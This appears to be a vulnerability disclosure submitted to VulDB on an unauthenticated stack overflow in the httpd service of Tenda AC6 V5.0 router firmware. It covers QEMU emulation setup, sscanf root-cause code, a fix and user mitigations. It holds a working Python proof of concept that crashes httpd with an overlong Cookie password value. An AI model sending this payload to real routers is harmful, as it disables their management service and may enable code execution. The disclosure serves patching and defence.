Submit #901944: Tenda AC6 V5.0 Router Firmware V03.03.20.11 Memory Corruption

1. Simulation Environment Construction
Firmware official download link: AC6V5.0 Upgrade Firmware - Tenda Official Website
1.1 QEMU System-Level Full Environment Deployment
Step 1 Install download tool & pull QEMU ARMHF image files
bash
运行
# Install aria2 multi-thread download tool
sudo apt update && sudo apt install aria2
# Parallel download of Debian Vexpress ARMHF kernel, initramfs and disk image
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress"
Three core files will be obtained after download completes:
plaintext
debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress
Step 2 Pre-configure TAP virtual network interface on host machine
The QEMU virtual machine relies on tap0 to implement two-way communication between host and guest; execute all network rules below before launching QEMU:
bash
运行
# Create tap tun device
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
# Enable system IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Clear all existing iptables rules to avoid network interception
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
# Set default policy to allow all traffic
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
# Configure SNAT for virtual machine external network access
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# Forward access rules between tap0 and host physical NIC
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Assign static IP to tap host side gateway
sudo ifconfig tap0 192.168.100.1 netmask x.x.x.x
Step 3 Launch QEMU ARM virtual machine
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM login credential: Username root, Password root
Step 4 Configure network inside virtual machine
Set static IP and default gateway to communicate with host tap0 segment:
bash
运行
# Assign static IP to eth0 inside VM
ifconfig eth0 192.168.100.2 netmask x.x.x.x
# Add gateway pointing to host tap0 IP
route add default gw 192.168.100.1
Verify connectivity via ping 192.168.100.1 from VM to host and vice versa.
Step 5 Transfer unpacked router firmware rootfs to VM
Compress the complete squashfs-root firmware directory (contains patched original httpd binary):
bash
运行
tar -czvf squashfs-root.tar squashfs-root
Start temporary HTTP file server on host for file transmission:
bash
运行
python3 -m http.server
Download firmware archive inside QEMU VM:
bash
运行
wget http://192.168.100.1:8000/squashfs-root.tar
Decompress the firmware root directory:
bash
运行
tar -xzvf squashfs-root.tar
1.2 User-mode QEMU chroot Runtime Environment (Alternative Test Environment)
If full system QEMU is unavailable, user-mode qemu-arm-static chroot can be used for vulnerability verification, which requires manual bridge network setup:
bash
运行
# Create virtual bridge br0 inside chroot namespace
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.100.2/24 dev br0
Enter chroot runtime and initialize web static resource directory before starting httpd service:
bash
运行
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
After execution, the httpd service will listen on 192.168.100.2:80, and web requests can be sent from the host to trigger vulnerabilities.
2. Vulnerability 1: Unauthenticated Stack Buffer Overflow in R7WebsSecurityHandler
2.1 Vulnerability Overview
A stack buffer overflow vulnerability exists in the R7WebsSecurityHandler function of the httpd web service running on Tenda AC6 V5.0 router with firmware version V03.03.20.11.
The vulnerable logic runs before any administrator session authentication, so no valid login cookie or user credentials are required for exploitation. An unauthenticated remote attacker can send a crafted HTTP request targeting any non-existent /goform/* endpoint with an overly long password value inside the Cookie header. This will trigger stack memory corruption, crash the httpd daemon and cause permanent web management DoS. Under favorable memory layout conditions, the attacker may achieve remote arbitrary code execution.
2.2 Root Cause Analysis
Inside R7WebsSecurityHandler, a fixed-size 128-byte stack buffer char v34[128] is defined to store parsed password content extracted from HTTP Cookie.
The program invokes sscanf with unsafe format specifier %[^;] without any maximum length restriction:
c
运行
char v34[128];
char *v44 = strstr(cookie_header, "password=");
if (v44)
sscanf(v44, "%*[^=]=%[^;];*", v34);
else
sscanf(cookie_header, "%*[^=]=%[^;];*", v34);
The format token %[^;] reads all consecutive characters until the semicolon ; delimiter is encountered. If the attacker’s payload excludes ;, arbitrary-length data will be continuously copied into the 128-byte buffer, overflowing stack variables, stack base pointer and function return address, eventually leading to segmentation fault (SIGSEGV).
2.3 Mandatory Trigger Constraints (Derived from Binary Logic)
Request URI must start with /goform/; non-existent endpoints like /goform/not_exists are fully functional to reach vulnerable parsing logic.
Requests with static resource suffixes (.png, .js, .css, .jpg, .jpeg, .gif) will hit an early return branch inside the function and cannot execute the vulnerable sscanf code.
The malicious payload must not contain semicolon ;, otherwise the sscanf parsing terminates early and overflow cannot be triggered.
No administrator session verification is executed before Cookie parsing — the vulnerability is fully unauthenticated.
2.4 Proof-of-Concept Exploit Code
python
运行
import requests

target_url = "http://192.168.100.2/goform/not_exists"
# Construct 1000-byte payload without semicolon
overflow_payload = "A" * 1000
request_headers = {
"Cookie": f"password={overflow_payload}"
}

try:
response = requests.get(
url=target_url,
headers=request_headers,
timeout=3,
allow_redirects=False
)
print("HTTP Response Status Code:", response.status_code)
except requests.exceptions.ConnectionError:
# Connection closed means httpd crashed with segmentation fault
print("Exploit triggered, remote httpd process crashed and terminated the TCP connection")
2.5 Observed Crash Phenomenon
After sending the PoC request, the httpd process outputs Segmentation fault (core dumped) in the QEMU/chroot terminal, all subsequent HTTP requests to port 80 will be rejected until the httpd service restarts automatically. Core dump files are generated to verify stack overflow corruption.
2.6 Permanent Source Code Fix (Developer-level Patch Logic)
This root-level code modification eliminates the unsafe unbounded read vulnerability. Add a hard-coded 127-character limit to the sscanf format specifier, reserving one byte for null terminator to prevent out-of-bounds stack write:
c
运行
sscanf(v4, "%*[^=]=%127[^;];*", v34);
This fix restricts the password string parsed from Cookie to a maximum length of 127 bytes, perfectly matching the 128-byte stack buffer size of char v34[128].
2.7 Vendor Patch Status
As of the date of this CVE submission, Tenda has not released any revised firmware version to remediate this vulnerability. The latest official firmware V03.03.20.11 for Tenda AC6 V5.0 router still retains the dangerous unconstrained %[^;] sscanf parsing logic. No official upgrade firmware containing this security fix is available to end users at present.
2.8 Temporary Mitigations For End Users (Before Official Firmware Patch Release)
If users cannot obtain the fixed firmware temporarily, the following security measures can reduce attack surface and risk exposure:
Disable WAN-side remote web management function on the router to block public internet access to TCP port 80 admin service;
Deploy network firewall / IDS / WAF filtering rules to drop HTTP requests carrying overlong Cookie: password values targeting all /goform/* paths;
Restrict LAN access to router management page via static IP ACL, only allowing trusted internal device IP addresses;
Monitor httpd crash logs periodically — repeated segmentation fault records indicate active exploitation attempts from attackers.

• User: hfddh666 (UID 99974)
• Submission: 07/22/2026 12:21 (2 months ago)
• Moderation: 09/06/2026 11:35 (2 months later)
• Status: Duplicate
• VulDB entry: 238372 [Tenda AC6 15.03.05.16_multi_TD01 R7WebsSecurityHandler buffer overflow]
• Points: 0